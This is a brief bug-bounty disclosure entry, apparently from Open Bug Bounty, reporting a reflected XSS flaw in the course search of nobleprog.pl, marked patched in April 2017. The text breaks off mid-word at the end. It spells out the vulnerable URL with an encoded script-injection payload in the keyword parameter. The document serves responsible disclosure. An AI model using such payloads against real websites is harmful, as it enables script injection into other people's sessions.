nobleprog.pl XSS vulnerability

Vulnerable URL: https://www.nobleprog.pl/training-course-search?keyword=%22%27--!%3E%3CScript%20/K/%3Econfirm'OPENBUGBOUNTY'%3C/Script%20/K/%3EKNOXSS Details: Description| Value ---|--- Patched:| Yes, at 07.04.2017 Latest check for patch:| 07.04.2017 06:18 GMT Vulnerability type:| XSS Vulnerabili...